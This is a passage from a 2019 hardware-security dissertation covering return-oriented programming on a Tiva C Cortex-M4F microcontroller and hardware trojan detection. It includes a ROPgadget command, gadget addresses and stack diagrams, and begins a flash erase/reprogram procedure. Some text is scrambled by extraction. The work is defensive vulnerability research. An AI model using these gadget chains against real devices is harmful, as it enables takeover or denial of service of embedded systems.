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ABSTRACT
Topics on Security : Return-Oriented Programming and Hardware Trojans
by
Nathanael R. Weidler, Doctor of Philosophy
Utah State University, 2019
Major Professor: Ryan Gerdes, Ph.D.
Department: Electrical and Computer Engineering
The massive proliferation of integrated circuits brings with it an increased number
of bad actors seeking to exploit those circuits for personal gain or other nefarious reasons.
This is not surprising as integrated circuits are integrated into every aspect of human society.
Humans have their personal lives, money, business secrets, and national security issues all
controlled by integrated circuits. This dissertation explores several aspects of hardware
security including the identification and prevention of integrated circuit vulnerabilities. The
contents of this dissertation include three papers dealing with this topic. The first paper
discuss the inclusion of a read-only memory on a microcontroller that comes factory loaded
with peripheral drivers to aid in rapid development and to safe program memory space.
The contents of this read-only memory include a Turing-complete gadget set that can be
used by an attacker to erase and reprogram the Flash memory of the device. This is where
the program memory resides. The final two papers branch into the field of hardware trojan
detection and prevention. The first of the papers on hardware trojans discusses the premier
method of preventing hardware trojan insertion through split manufacturing. It is shown
that this method does not work on highly redundant circuits such as cryptographic ciphers.
The second of the papers on hardware trojans includes a novel method to detect them using
current state of the art deep learning models. Procedures that add generally to the field
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of hardware trojan research are also included. These procedures detail a process by which
hardware trojan data can be created at a scale previously unseen. A dataset that is four
orders of magnitude larger than a current data set is provided to the public.
(137 pages)
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PUBLIC ABSTRACT
Topics on Security : Return-Oriented Programming and Hardware Trojans
Nathanael R. Weidler
Microcontrollers and integrated circuits in general have become ubiquitous in the world
today. All aspects of our lives depend on them from driving to work, to calling our friends, to
checking our bank account balance. People who would do harm to individuals, corporations
and nation states are aware of this and for that reason they seek to find or create and
exploit vulnerabilities in integrated circuits. This dissertation contains three papers dealing
with these types of vulnerabilities. The first paper talks about a vulnerability that was
found on a microcontroller, which is a type of integrated circuit. The final two papers
deal with hardware trojans. Hardware trojans are purposely added to the design of an
integrated circuit in secret so that the manufacturer doesn’t know about it. They are used
to damage the integrated circuit, leak confidential information, or in other ways alter the
circuit. Hardware trojans are a major concern for anyone using integrated circuits because
an attacker can alter a circuit in almost any way if they are successful in inserting one.
A known method to prevent hardware trojan insertion is discussed and a type of circuit
for which this method does not work is revealed. The discussion of hardware trojans is
concluded with a new way to detect them before the integrated circuit is manufactured.
Modern deep learning models are used to detect the portions of the hardware trojan called
triggers that activate them.
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To my wife
Jenni
Hopefully you will see dividends for years to come.
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CHAPTER 1
INTRODUCTION
This dissertation covers two research thrusts in the field of hardware security and consists of three papers. Both research areas deal with securing an integrated circuit (IC) from
a would-be attacker. In the first part of the dissertation (the first paper) a vulnerability on
a Tiva TM4C123GH6PM (Tiva C) utilizing a Cortex-M4F microprocessor is discovered and
exploited in order to make it known to the community [1]. This vulnerability is a factory
loaded code base in a read only memory (ROM) that contains a Turing-complete gadget set.
It is important for exploits to be reported to the community so that the vulnerabilities can
be prevented in the future or fixed. However, if they cannon be fixed, but are known then
they may be able to be detected by an end user before critical systems or data are exploited.
The second half of the dissertation (the final two papers) addresses issues with hardware trojans. A prominent paper is explored that attempts to frustrate hardware trojan
implantation [2]. A class of circuits is identified for which the methods presented in that
paper would not work. Then in the last paper, a novel method to detect hardware trojans
is presented.
The first paper, found in Chapter 2 was published in the Journal of Sustainable Computing: Informatics and Systems [3]. In this paper the Tiva C and a particular vulnerability
it has is discussed. Specifically, it is revealed that a seemingly helpful read-only memory is
in fact a security vulnerability. This ROM contains several libraries factory-loaded to ease
the development process and to save space in program memory. Examples of libraries loaded
on the ROM are peripheral libraries such as a universal asynchronous receiver/transmitter
(UART), general purpose input/output (GPIO), and an Ethernet controller. However, it is
shown that gadgets, or small fragments of executable code, can be found in these libraries
and used for nefarious purposes. This paper was an expansion to another paper written
by the author of this dissertations and others that was first published in the proceedings of
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the 14th IEEE International Conference on Embedded Software and Systems (IEEE ICESS
2017) [4]. This paper concentrates on the fact that often energy-efficient devices lack sufficient security assurances for mission-critial applications. Too often security is sacrificed for
energy-efficiency and ease of use. This is a bigger problem as the world trends towards tiny
devices and the internet of things (IoT).
The process is demonstrated by which a stack overflow attack can be performed on a
Tiva C making use of gadgets found in the ROM to carry out a return oriented programming
(ROP) exploit. The paper in Chapter 2 shows the procedure to perform an ROP exploit in
order to erase and then write to the Flash memory, where the program data is stored. This
means that the original program can be deleted and replaced by a new one. Alternatively,
portions of a program can be erased and re-written, if the attacker should choose to do so.
This brings to light a security flaw in the production of the Tiva C. One that is open for
attackers to make use of, to either change or completely reprogram the device. Engineers
must be vigilant to not create security vulnerabilities in the name of ease of use. The
intention of the factory loaded ROM was to aid in quick development, but it has other
security consequences.
This first paper of this dissertation found in Chapter 2 also finds a Turing-complete
gadget set in the ROM. The measure for Turing-completeness was taken from [5]. In that
paper, a Turing-complete gadget set is defined as one containing the following capabilities:
• The ability to exchange register values.
• The ability to load a value from the stack into a register.
• The ability to implement conditional branches.
• The ability to increment or decrement the value contained in a register.
• The ability to clear flags before comparisons.
• The ability to copy the stack pointer into another register.
• The ability to load a value from an address into a register.
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• The ability to store a value from a register into memory.
• The ability to add or subtract two values.
• The ability to perform logical operations on two values. A full list of logical operations
would include NOT, AND, OR, and XOR, however only a total of two are needed to be
considered Turing-complete. Either AND or OR in addition to either NOT or XOR. If one
logical operation is present from the following two all others may be derived.
• The ability to perform a conditional branch.
Although all of this functionality is present in Chapter 2, there are not necessarily
individual gadgets for each of the above list. For example, this chapter does not contain a
separate gadget to clear the flags before comparisons; instead wherever the flags must be
cleared or set, that ability is built into the gadget itself. As the gadget set in Chapter 2
adheres to the requisites described by [5] it can be said that it is Turing-complete.
In addition to describing a Turing-complete gadget set, Chapter 2 includes an experimental results appendix in which the results of executing the gadgets described are displayed.
This is a contribution because it proves beyond the theoretical that all of these gadgets are
executable and reachable by an ROP exploit.
The second paper can be found in Chapter 3. This is the first paper touching on the
topic of hardware trojans. This paper has been submitted to the Journal of Hardware and
Systems Security.
Hardware trojans are modifications made to a design at one of four stages during the
development cycle of an IC: the specification phase, the design phase, the fabrication phase
and the assembly phase [6]. Hardware trojans can be used to disable circuits, or leak sensitive
information from the circuit. Not only are governments concerned about the existence of
these malicious circuits, private businesses, and individuals could be at risk as well. One
major issue facing the industry of IC manufacturing is balancing trust with the cost to create
a foundry with the ability to create the latest circuit technology.
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Nations have more trust in a foundry located within it’s borders than one outside of it’s
borders [7]. If a nation is worried about a foreign adversary, they surely might not trust the
foundries located within the borders of their adversary. Within it’s own borders, a nation
will have greater ability to perform background checks and keep tabs on the people working
in the foundries. This presents a problem for many highly advanced nations which do not
have foundries with the latest technology domestically located [7]. It is much less expensive
to use a foundry as needed then to build, maintain, and upgrade a foundry with the latest
technology. The cost of building a new foundry with the latest technology is in the billions
of dollars [8].
Chapter 3 examines a very useful method which prevents the insertion of hardware
trojans by utilizing split manufacturing. This process is laid out in [2]. The process is to
divide a circuit into two layers, a trusted and an untrusted layer: the untrusted layer contains
all the gates and some interconnects, and the trusted layer only contains interconnects, or
metal wires. The untrusted layer can be manufactured at an untrusted foundry without
any worry because without access to the trusted layer, the manufacturer would not be able
to deduce the layout of the entire circuit, and therefore it would be much more difficult to
insert a hardware trojan. The trusted layer can be manufactured at a trusted foundry, but
it does not need to have the capability to manufacture the latest technology as it is only
interconnects. When manufactured in this way hardware trojans are very difficult to be
inserted successfully into the design, unless the circuit happens to be a highly redundant
circuit as described in Chapter 3. In this case the methods described in [2] are not as secure as
they purport to be. This is demonstrated on the two main types of cryptographic ciphers: the
data encryption standard (DES) which uses a Fiestal structure, and the advanced encryption
standard (AES) which utilized a substitution-permutation network (SPN).
The third and final paper contained in this dissertation can be found in Chapter 4.
Chapter 4 contains the work as submitted to the workshop on Attacks and Solutions in
Hardware Security (ASHES). This paper explores a novel method to detect hardware trojans.
This method will be useful in detecting them in third party intellectual property (IP). The
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novel method is to use deep learning to identify hardware trojan triggers. If a hardware
trojan is trigger-based and the trigger can be found, so can the rest of the trojan. The two
parts of a trigger-based hardware trojan are the trigger and the payload [6]. The payload
lays dormant until it is activated by the trigger, when a pre-determined combination of
values appear on the trigger inputs. Basic triggers consist of AND and NOT gates placed in
a way that the output will be 1 only on the rare occasion that the pre-determined value is
present on the trigger inputs.
Deep learning algorithms have shown promise in several fields, including image recognition [9–12]. ImageNet Large Scale Visual Recognition Challenge (ILSVRC) is an annual
image recognition competition running since 2010. The ISCVRC has brought awareness
to the need for image recognition and has therefore encouraged developments in the field.
It includes a public dataset and an annual competition. There are varying categories and
levels of image recognition by computer algorithms [13]. A team of researchers working on
the ILSVRC challenge and using deep learning algorithms was able to surpass human-level
image recognition on the 1000-class ImageNet dataset [14].
As deep learning has shown such promise in other fields, it is worthwhile to experiment
and expand the applications of deep learning. Capter 4 is is a paper which plows new ground
in the application of state of the art methods to a new problem. One of the difficulties
associated with this was creating the vast amounts of training and verification data required
for the various trials. One major contribution of this work was a new methodology to create
data for the field of hardware trojan research. A large dataset was also made publicly
available. This data is not only useful for deep learning research, but can be used in other
hardware trojan related research as well.

1.1

Authorship
Each of the papers contained in this dissertation have the author of this dissertation as

the first author, however there were others who contributed as well, as can be seen by the
citation given or explicitly mentioned here. In an effort to be transparent the contributions
of others will be noted here. All other contributions can be assumed to be the original work
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of the author of this dissertation.
In Chapter 2, the second gadget set referenced in Section 2.3.4 and seen in Listing 2.6
was identified by other authors. The gadgets in section Section 2.4, containing the Turingcomplete gadget set were also identified by other authors. The majority of the stack diagrams
were created by others. Much of the discussion on the Turing-complete gadget set was
written by another author. The remainder of the work, including Appendix A 2.6, the
procedure to erase and reprogram the Flash memory, and the discussion on sustainability
was the work of the author of this dissertation.
Chapter 3 was the original work of the author of this dissertation with Dr. Ryan Gerdes
and Dr. Thidapat Chantem mentioned on the author list. They were both readers and acted
in a large part as consultants during the research process.
For Chapter 4 Nikhil Muralidhar and Dr. Ryan Gerdes were on the author list. Nikhil
wrote the abstract, Subsections 4.2.2 and 4.5.3. He also wrote Section 4.6 compiling the
results we created together. These contributions by Nikhil include the background on deep
learning architectures and applications, and the additional graphical and recurrent models
examined. The genesis of Chapter 4 was the original work of the author of this dissertation
who brought expertise in the field of hardware trojans and worked with the feed-forward
neural network. The author of this dissertation is responsible for creating the process to
create feature vectors for deep learning models, as well as identifying the various forms of
data described such as the circuit adjacency matrix and the inverse node fanin forms. The
author of this dissertation created the dataset of trigger-inserted circuit adjacency matrices
made publicly available. Nikhil was the expert on deep learning and aided in expanding the
findings to multiple deep learning models. Dr. Gerdes acted as a consultant and advisor
throughout the research process.
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CHAPTER 2
Return-Oriented Programming on a Resource Constrained Device
ABSTRACT Microcontrollers are found in many everyday devices and will only become more prevalent as the Internet of Things (IoT) and other low power devices gain
momentum. As such, it is increasingly important that they are reasonably resilient to
known exploitation techniques. Modern enterprise-grade systems with virtually unlimited
resources have many options when it comes to implementing state of the art intrusion prevention and detection solutions. These solutions are costly in terms of energy, execution
time, circuit board area, and — of course — money. Sustainable IoT devices and powerconstrained embedded systems cannot afford such costs and are forced to make suboptimal
security trade-offs. One such trade-off is the design of architectures which prevent execution
of injected shell code, yet have allowed Return Oriented Programming (ROP) to emerge as
a more reliable way to execute malicious code following attacks. ROP is a method used
to take over the execution of a program by causing the return address of a function to be
modified through an exploit vector, then returning to small segments of otherwise innocuous
code located in executable memory one after the other to carry out the attacker’s aims. It
will be shown that the Tiva TM4C123GH6PM microcontroller, which utilizes a Cortex-M4F
processor, can be fully controlled with this technique. Sufficient code is pre-loaded into a
ROM on Tiva microcontrollers to erase and rewrite the flash memory where the program
resides. Then, that same ROM is searched for a Turing-complete gadget set which would
allow for arbitrary execution. This allows an attacker to re-purpose the microcontroller,
altering the original functionality to their own malicious ends. Our results show that advanced exploitation techniques are still effective against embedded systems which prioritize
energy-efficiency and that more research needs to be focused on finding the right balance of
security for devices with a small energy footprint.
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2.1

Introduction
Energy-efficient microcontrollers are becoming increasingly important as the Internet of

Things and the Internet of Everything become a real part of life. Everything from wearables
to remote sensors become more feasible when they consume less power making them less
expensive to operate. In the case of battery-operated devices they will last longer to allow
them to fulfill their mission for longer periods of time. The Tiva TM4C123GH6PM (Tiva
C) is advertised as a microntroller capable of supporting applications such as low power and
hand-held smart devices [1].
The Tiva C makes use of an Advanced Reduced Instruction Set Computing (RISC)
Machine (ARM) Cortex-M4F microprocessor. ARM advertises this as a low-power, low cost
solution. The Cortex-M4 processor has been developed for a broad range of embedded markets including automotive control systems, building automation, connective clothing, the
energy grid, wearables, medical instrumentation, household appliances, and space applications just to name a few [2]. ARM claims that tens of billions of ARM Cortex-M processors
have already been shipped [2]. With these devices widely deployed in safety-critical products,
their security is vital.
The Tiva C makes use of the Cortex-M4F microprocessor [1], adding memory and
the ability to interact with peripherals such as a Universal Asynchronous Receiver/Transmitter (UART), General-Purpose Input/Output (GPIO), and Ethernet controller [3]. It
is important for the manufacturers of microprocessors and microcontrollers to have security in mind when they design these devices. Attackers would be able to wreak havoc on
individuals and industries if they were able to exploit vulnerabilities in these systems for
their own pernicious purposes. We have discovered that a Cortex-M4F microprocessor on
a Tiva TM4C123GH6PM microcontroller can be forced to execute arbitrary code by means
of Return-Oriented Programming (ROP).

2.1.1

Return-Oriented Programming

The concept of return-oriented programming (ROP) was first introduced for x86 processors in 2007 by Hovav Shacham [4]. The motivation for this work was the memory policy
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of “write xor execute.” This policy specified that system memory regions could either be
written to or executable, but not both. Typically, the region of memory which contains the
stack and the heap would be set to be writable but not executable [5] and, during process
execution, regions of memory containing code would be executable but no longer writable.
This prevents code execution following basic buffer overflow attacks such as those outlined
in the classic work, “Smashing the Stack for Fun and Profit” [6]. With ROP, the same
technique is used to overflow a buffer, but instead of actually inserting instructions onto the
stack, addresses and constants are placed on it. These addresses point to special segments
of code and the constants are used by that code. These special segments of code are called
gadgets. The main difference between code injection and ROP is that gadgets used in ROP
are already somewhere in memory, there is no new code being introduced into the system.
The attacker only needs to know the address of the gadget in order to force the processor to
execute the instructions of the gadget at a time when it wasn’t meant to be executed. The
constant values on the stack are values that the gadgets use, for example a gadget might
load a value off the stack into a specific register.
Gadgets are short sequences of instructions that in the x86 world always end with a
return instruction. The short sequence of code is meant to do a small amount of work
towards the attacker’s goal and then the return instruction transfers program control to the
next address on the stack, where the attacker has placed a subsequent gadget. In this way
the attacker can carry out their nefarious purpose by piecing together snippets of executable
code that already exist in the program’s memory. The attacker uses the program’s own code
to carry out the attack. The beauty of this method is that it circumvents the “write xor
execute” memory policy. This memory policy has been defeated elsewhere as well [7].
The original ROP work [4] has been extended to many platforms. It was extended to
SPARC, a fixed instruction length RISC architecture by Buchanan et al [8]. Checkoway
extended it to not require return instructions [9].

2.1.2

Security versus Sustainability

The ability to secure systems has made impressive strides in recent years. End users
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who purchase top-of-the-line systems, configure them properly, and patch regularly can
have reasonably high levels of assurance that their devices are protected from all but the
most persistent and well-resourced attackers. Methods to detect and prevent buffer overflow attacks are commonplace cowan1998stackguard,cowan2000buffer,alouneh2016software
and similar defenses against ROP are beginning to be implemented in production systems fratric2012ropguard,cheng2014ropecker,pappas2012kbouncer. Unfortunately, these protections are not extended to low-power embedded devices as the overhead to implement them
is generally incompatible with green computing goals [10]. As a result, security for green
embedded and IoT devices is frequently off-loaded and handled external to the device, if
at all. Specifically, external systems look for evidence of tampering either in network communications [11] or via side channel analysis [12]. Neither of these methods is effective at
preventing local compromise or corruption in a device.
This research studies the case of the ARM Cortex-M4F in the Tiva C microcontroller.
ARM specifies three families of processors: Cortex-A, Cortex-R, and Cortex-M. The CortexM family is specifically tailored for embedded system development [2], so any entity implementing a green device with the ARM architecture will do so using the Cortex-M family.
Even though the Cortex-M4F is ideal for green applications, it is not ideal for security. The
only applicable security feature is its Memory Protection Unit (MPU) [13]. The MPU allows
a developer to specify granular constraints for reading, writing, and executing various memory regions which may be useful in preventing execution of malicious code injected into a
data area, but is not effective at stopping ROP which adds addresses - not code - to writable
areas and only executes existing code from executable areas.
ARM does have stronger protections in place in its Cortex-A family. Cortex-A processors are intended to deliver good performance for general purpose applications, but this
prioritization of performance comes at the expense of energy-efficiency. While the Cortex-A
is not ideal for green applications, it is the best ARM family for secure computing as it includes a full-featured Memory Management Unit (MMU) and the ARM Trust Zone [14]. The
MMU handles virtual to physical address translation, extended permissions checking capa-
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bility, execute never specification, and a non-secure bit. ARM Trust Zone creates a Trusted
Execution Environment (TEE) in hardware which causes access to trusted applications and
resources to cross a trust boundary with additional scrutiny and verification.
While clearly desirable, the security features of the Cortex-A family have not been
feasible to implement on energy-efficient processors like the Cortex-M4F. ARM claims that
the new Cortex-M23 specification will be the best of both worlds. Announced in late 2016,
the Cortex-M23 and Cortex-M33 will be the first cores in the Cortex-M family with Trust
Zone hardware protection built-in [15]. Of the two, the Cortex-M23 will be specially geared
towards energy-efficiency while still providing Trust Zone security assurances. However, as
of this writing, no chips or development boards have yet been available with a Cortex-M23
processor and the only public implementation is an IoT FPGA image for the Cortex-M
Prototyping System, MPS2+.

2.1.3

Contributions

The four main goals of this work are to demonstrate:
1. The ability to create a gadget set capable of erasing flash memory. This is the first
step in taking control of a microcontroller and could also result in a denial of service.
2. The ability to create a gadget set capable of programming the region of flash memory
that was previously erased. This is the second step in taking control of a microcontroller.
3. The ability to create a Turing-complete gadget set from the TivaWare ROM. This
allows for arbitrary code execution with ROP.
4. That modern energy-efficient embedded devices lack sufficient security assurances for
mission-critical applications.
The contributions of this work are as follows: It is shown hereafter that an ARM CortexM4F processor using the Thumb-2 instruction set can be forced to execute arbitrary code.
Specifically, the processor of the Texas Instruments Tiva TM4C123GH6PM microcontroller
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is attacked and the results shared. Even a simple program loaded into main memory is
sufficient to locate enough gadgets to carry out an attack. A small code base is vulnerable
to many exploits.
We further show that the Tiva microcontrollers are particularly vulnerable because
large portions of code, even code that may never be executed, is made available in the Read
Only Memory (ROM) of the microcontroller. Included on this ROM are libraries which
make interacting with peripherals such as a UART, GPIO and Ethernet controller easy.
This code base is a treasure trove of potential gadgets to the attacker who has learned the
technique of ROP. It is believed that the practice of loading this ROM with unnecessary
code weakens the security of the microcontroller. The ROM is not, however, necessary to
locate enough gadgets to carry out an attack.
Two sets of gadgets are shown, one taken from an example program in main memory
and a second taken from the ROM. Both gadget sets can accomplish goals one and two
(defined below) and make use of otherwise benign instructions that already exist either in
system memory or on the ROM. Buffer overflow techniques combined with ROP makes this
microcontroller an easy target for malicious attacks.
In addition to the above contributions, a novel gadget that loads the link register with
the address of a pop of the program counter is discussed. A technique using this gadget
which is similar to the update-load-branch [9] model is introduced.
This solution is simpler than the update-load-branch technique. A Turing-complete
gadget set is also included. The search space for the gadget sets described below is restricted
to the peripheral drivers loaded on the ROM of the Tiva C. Any program from main memory
may be used to create a Turing-complete gadget set, if the appropriate gadgets can be
located. The ROM was used here as an example as it ships pre-loaded on every Tiva C.
A novel gadget chaining mechanism is set forth as well. We also demonstrate the ability
to manipulate the stack pointer which allows for efficient loops.

2.1.4

Related Work

A topic of research that is related to this work but not included is protecting a system
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from buffer overflow. This has been extensively researched by others [16–19]. To counter that
effort, several works have been dedicated to bypassing stack protections. Buffer overflows
and bypassing stack protections will not be discussed here as they have been extensively
discussed elsewhere [20, 21].
Francillon and Castelluccia published their research about an ROP procedure on an
Atmel AVR atmega 128 8-bit microcontroller [22, 23]. In their paper they were able to
successfully demonstrate a buffer overflow and permanent code injection attack using ROP
against a sensor node using this microcontroller. In order to do so they performed several
buffer overflows to build a fake stack one byte at a time. This fake stack was eventually
used to perform the re-write to flash memory.
Our work differs from Francillion’s. We are targeting the Cortex-M4 processor. The
Cortex-M4 processor uses the Thumb-2 instruction set, whereas the AVR atmega 128 utilizes
the AVR instruction set [24]. We also employ different return strategies which are discussed
in Section 2.2.

2.1.5

Thumb Instruction Set

Cortex-M processors utilize the Thumb and Thumb-2 instruction sets. The Thumb-2
instruction set augments the original Thumb instruction set with several 32-bit instructions.
The 16-bit instructions of Thumb map directly to an equivalent 32-bit ARM instruction [25],
although not all instructions are accounted for. The advantage is that the instructions take
up less space in memory which is desirable for a microcontroller as memory space is typically
a premium [1]. For example, on a 16-bit memory system when Thumb is utilized the code
size will typically be 65% of what it would have been if the ARM instruction set was used,
and it will provide 160% of the performance [25]. The Thumb-2 instruction set adds 32-bit
instructions on to the Thumb instruction set in order to allow for operations that were not
previously accounted for [26].
This variable size instruction set does not introduce any insurmountable hurdles into
the execution of an ROP attack on ARM devices. Some care must be taken to ensure that
the processor is in the appropriate execution mode if it is capable of switching between
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Thumb and ARM instruction sets. Similarly, jumping into a mis-aligned instruction, while
theoretically possible, introduces many potential complications and should be avoided.

2.1.6

Threat Model

The threat model for this work is defined here. As previously stated we are attacking
the ARM Cortex-M4F processor using the Thumb-2 instruction on a Texas Instruments
Tiva TM4C123GH6PM microcontroller.
1. We assume that there exists a vulnerability in the code executing on the microprocessor
to allow a buffer overflow to occur. Buffer overflows on the ARM architecture has been
sufficiently shown elsewhere [9].
2. No execution of code that lies on the stack will be allowed.
3. The attacker has access to the contents of the ROM on the target device in advance
of the attack.

2.1.7

Organization of the Paper

The remainder of the paper is organized as follows: Section 2.2 describes in more detail
ROP on ARM devices and some differences between ROP on ARM vs. an x86 architecture.
It also describes the various return-like sequences used to maintain control of a compromised
device. Section 2.3 describes the process to erase and reprogram the flash memory on the
Tiva microprocessor. Also included are the gadgets used for two reprogramming attempts.
A Turing-complete gadget set is discussed in Section 2.4 with stack diagrams of the gadgets
shown. Conclusions are drawn in Section 2.5.

2.2

Return-Oriented Programming on ARM Architectures
The Cortex-M4 does not explicitly follow the “write xor execute” memory policy. It is

however, a modified Harvard-Architecture so the stack is innately non-executable [22, 27].
The only known way to modify the control flow of a program on such a device is to use
ROP techniques. ROP has been proven to be effective at bypassing execution protections
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Problem 1 – on
Discovery
Gadgets
ARM-based of
devices
[28]. Tim Kornau created an extensive work outlining ROP against
the ARM architecture [29] in which the author specifically attacks a mobile phone running

An open source Python program “ROPgadget.py” allows users to extract all candidate ROP gadgets from a
Windows
6.x. ROM.bin file yielded 6236 potential gadgets with the following command:
binary code segment.
TheMobile
provided
There exist several differences between ROP on ARM architecture and x86 architecROPgadget --binary rom.bin --rawArch=arm --rawMode=thumb --thumb > ropG
ture [30]. A major difference lies in the structure of the gadget needed; ARM lacks the

This takes into account the ARM architecture and the thumb(2) instruction mode. We were then able to search
straightforward return instruction that x86 provides. Routines instead use other specialized
through this candidate list to find gadgets or chains of gadgets that formed our Turing complete ROP instruction
instructionsgadget
to change
flow
different
sectionsfunctions,
of code. This
is very important
set. The Turing-complete
set control
includes
thebetween
following
necessary
explained
with stack
3
2 shows one example from the actual ROM; all of the gadgets could be similarly found and
diagrams. Figure
for ROP on a resource-constrained device. Because the code base to search for gadgets is
displayed in the same manner.
limited the attacker must be creative in their ability to find return-like instructions that will

allow them to maintain control of the code execution after each gadget. We identify four
control-flow mechanisms used in ARM that can accomplish this purpose which enlarges the
set of gadgets available to us.
The first of these control flow mechanisms is the push and pop set of instructions. A
program utilizes these by storing register values on the stack by means of the push instruction. Then the program will execute the new routine. When that routine is completed, the
state of the register is restored by pulling the previously stored value back off the stack by
making use of the pop instruction. In this style of for routine calls, the program counter is
one of the registers that is stored on the stack in this style of routine calls, meaning that if a
pop instruction is found that contains the program counter register (and ideally no others)
it can be treated in the same manner as a return instruction in x86 architectures. Figure 2.1
Figure 2 – Example of radare2 [3] for load immediate gadget

load

is a stack diagram which depicts an example of this type of return-like mechanism.

[r4+4]

0x00000000

SP

r0

top

0x01001be6

r4
PC

0xFFFFFFFF

buffer overflow
of our choosing

go after done

ldr r0, [r4, 4]
pop {r4, PC}

bottom

Figure 3 – stack diagram (load)

Fig. 2.1: Example of using a pop pc as a return.

This gadgets loads the value from memory location [r4+4]into r0. Note that it assumes that r4 is preloaded, but it happens to also pop a value to r4 before returning. Therefore, it can be called twice, the first
time putting the desired r4 on the stack.

18
The second control flow mechanism is a branch instruction that uses another special
purpose register called the link register. Routines utilizing this style of return simply call
another routine with the specialized bl or blx instruction, which loads the link register with
the appropriate return address before branching to the new location. At the end, the called
routine loads the link register to the program counter, and execution returns to the original
point.
This second method has some subtleties that require more attention than the simple
pop instruction. First, this style does not allow nested routine calls, as the inner call would
overwrite the original value in the link register without being able to restore it. Therefore,
the link register must be stored onto the stack using a push before the call, and restored
after the call with a pop. Secondly, because the link register is used as the return address,
it must be loaded with the address of the next gadget before being used as a gadget return.
These sequences can be combined to allow branches to the link register to be used as
an equivalent of return for ROP gadgets. Code which uses a pop to restore the link register
from the stack after a call using the bl instruction can be used as a gadget to load the link
register with the address of a pop of the program counter. Once this is accomplished, all
branches to the link register will jump to the pop of the program counter, which will then
pull the next address from the stack as in a traditional ROP attack. If a pop instruction
containing both the link register and program counter is found, the link register can be
conveniently loaded in a single gadget.
This bears some similarity to the update-load-branch technique described in [9], which
searches for gadgets characterized by indirect branches to the address held in a register
which is loaded in a directly preceding instruction. The use of the bx lr instruction allows
for a less complicated gadget sequence, where the address of a pop pc instruction is placed
in the link register to provide what [9] refers to as a trampoline. This means that our
approach does not need to use additional registers to maintain control flow and also does
not need to provide an explicit ability to for advancing the stack pointer, two limitations of
the work in [9]. Instead the sequence of gadgets using our method is to simply first load the
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link register with the address of a pop pc instruction, and then call any number of gadgets
ending with a bx lr instruction.
The mechanics of this gadget return style are demonstrated in Figure 2.2, which gives
an example of a simple store gadget. First a load immediate gadget puts the address of
the gadget using the bx lr return onto the stack. Next a pop gadget fills the link register
with the address of a pop pc instruction (outlined in red). Finally, the unconditional branch
jumps to the location of the bx lr gadget, which is in this case a simple store instruction.
Note that any subsequent gadgets that use the bx lr return do not need to load the link
register again, unless it is overwritten as some gadget’s side effect. Any time the bx lr
instruction is executed it will immediately jump to the pop pc instruction, which will in
turn load the next gadget address from the stack into the program counter.
0x00000000

top

esp

Buffer overflow
of our choosing

0x010083f6

pop {r1, r6, PC}

0x010026ea

r1
r6

0x01006990

PC
r4
LR

0x01002664

PC

PC after done
...

0xFFFFFFFF

bottom

pop.w {r4, LR}
bx
bx r1
r1
str r2, [r0]
bx lr
pop {PC}

Fig. 2.2: Stack Diagram - bx lr Return.

A third control flow mechanism is a direct branch to an address held in a register. This
can also be utilized by first loading the register with the address of the next gadget. These
branches do not occur as often in code but if found they do provide an opportunity wherever
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they are present. An example of this style of return can be seen in Figure 2.2, where the pop
instruction responsible for loading the link register is followed by an unconditional branch
to the address held in r1.
The fourth control flow mechanism is a branch with link to a general-purpose register.
This appears as a blx reg where reg may be any general-purpose register such as r1, r2,
r3 and so forth. This is very similar to the third control flow mechanism of bx r1. However,
the blx instruction not only updates the pc with the address specified by the value stored in
the register, it also stores the address of the next instruction after the blx instruction in the
lr register [31]. This is the equivalent of a function call and storing the return address in
x86, and is used in [9]. An example of this can be seen in Figure 2.3 found in Section 2.4.1.

2.3

Erasing and Programming Flash Memory
This section describes two sets of gadgets for an ROP carried out on the Texas In-

struments Tiva TM4C123GH6PM containing an ARM Cortex-M4F processor [1] revision
1. The Thumb-2 instruction set is utilized. The Cortex-M4F is designed to be integrated
with a ROM which contains peripheral drivers [13]. Addresses 0x01000000-0x1FFFFFFF are
reserved for the ROM containing the TivaWare for C Series software. The first set of gadgets
is shown to demonstrate that even if the ROM eliminated, this would not make ROP impossible. The first attack uses gadgets taken from an example program meant to demonstrate
the Sensor Hub BoosterPack, BOOSTXL-SENSHUB [32], an available daughter card for the
Tiva C. The search space gadgets for the first ROP example includes addresses 0x00000000
to 0x00005AA8. The second set of gadgets can be found on the ROM.
Either set of instructions could be used with a buffer overflow to reprogram the flash
memory of the microcontroller. This work is not focused on the method of the buffer overflow
attack itself. However, it is assumed that a buffer overflow must occur to initiate the ROP
procedure. Proof of successful buffer overflow has been sufficiently demonstrated on the
ARM architecture [9].
A denial of service attack could be accomplished by simply erasing the region of flash
memory which starts the default program’s execution and then restarting the microcon-
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troller. Once that region of memory is blank the microprocessor would not be able to boot.
A second attack could be carried out by reprogramming that portion of flash memory with an
arbitrary sequence of instructions after it had been erased. This other exploit is illustrated
in both examples.

2.3.1

Finding Gadgets

To find the first set of gadgets, we dissembled the binary of the example program and
used that to search for gadgets. For the second, we extracted the ROM binary file from
the microcontroller and used its contents to locate gadgets. The open-source Radare2 [33]
disassembler program revealed the assembly-code contents of the peripheral drivers included
by Texas Instruments on the ROM.
After that, we ran simple grep commands against the resulting files as the starting
point in the search for gadgets. However, more sophisticated methods than grep exist to find
gadgets. As a result of the ARM instruction set being published and Kornau demonstrating
automated searches for gadgets in ARM code, open-source tools exist to assist in the search
for gadgets [29, 34]. ROPgadget.py, an open-source python script, significantly sped up the
search for gadgets [35]. Several sources on the ARM architecture also proved to be invaluable
in the search for gadgets [36–38].
ROPgadget.py allows users to extract all candidate ROP gadgets from a binary code
segment. The ROM file yielded 6236 potential gadgets.

2.3.2

Reprogramming Method

In the following attack, the aims of goals of erasing and programming the flash are
achieved. The procedures to perform these flash memory operations are found in Section 2.3.2. Gadgets to perform the first exploit are described in Section 2.3.3 and for the
second they are described in Section 2.3.4. The character sequence placed on the stack is
demonstrated in Section 2.3.3.

Flash Memory Write Sequence
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In order to accomplish goals one and two the procedure to erase and write to the flash
of the Tiva C must be understood. Programming the flash can only change a bit that is
already a 1 to a 0 or just leave the bit as its current value. Programming cannot transition
a 0 to a 1. Based on this limitation, it is unlikely for any attack to be successful without
first erasing portions of flash.
First flash must be erased and then programmed. This memory is erased by setting
all bits to a 1. The flash on the Tiva C can be erased completely or in 1 kB blocks. The
attack utilizes a 1 kB erasure. The erase procedure is as follows: first, identify the start
address of the 1 kB-aligned Central Processing Unit (CPU) byte address which specifies
which block of flash is the target for the erasure. Next, place that address into the Flash
Memory Address (FMA) register 0x200FD000. Finally, the write key must be loaded into
the Flash Memory Control (FMC) register 0x400FD008 to bits 16 to 31 and the erase bit
